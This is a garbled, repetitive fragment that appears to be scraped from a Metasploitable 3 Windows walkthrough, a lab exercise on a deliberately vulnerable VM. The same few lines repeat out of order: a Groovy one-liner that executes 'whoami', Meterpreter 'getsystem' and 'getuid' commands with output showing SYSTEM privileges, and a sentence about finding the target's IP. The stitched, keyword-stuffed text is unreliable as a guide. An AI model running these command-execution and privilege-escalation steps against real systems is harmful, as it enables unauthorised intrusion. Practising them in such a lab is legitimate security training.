println "whoami".execute().text

The first step is identifying the target. Assuming you are on the same network as the Metasploitable 3 VM (NAT or Bridged), you need to find its IP address.

getsystem getuid # Output: NT AUTHORITY\SYSTEM

Metasploitable 3 Windows Walkthrough [work]

println "whoami".execute().text

The first step is identifying the target. Assuming you are on the same network as the Metasploitable 3 VM (NAT or Bridged), you need to find its IP address. metasploitable 3 windows walkthrough

getsystem getuid # Output: NT AUTHORITY\SYSTEM println "whoami"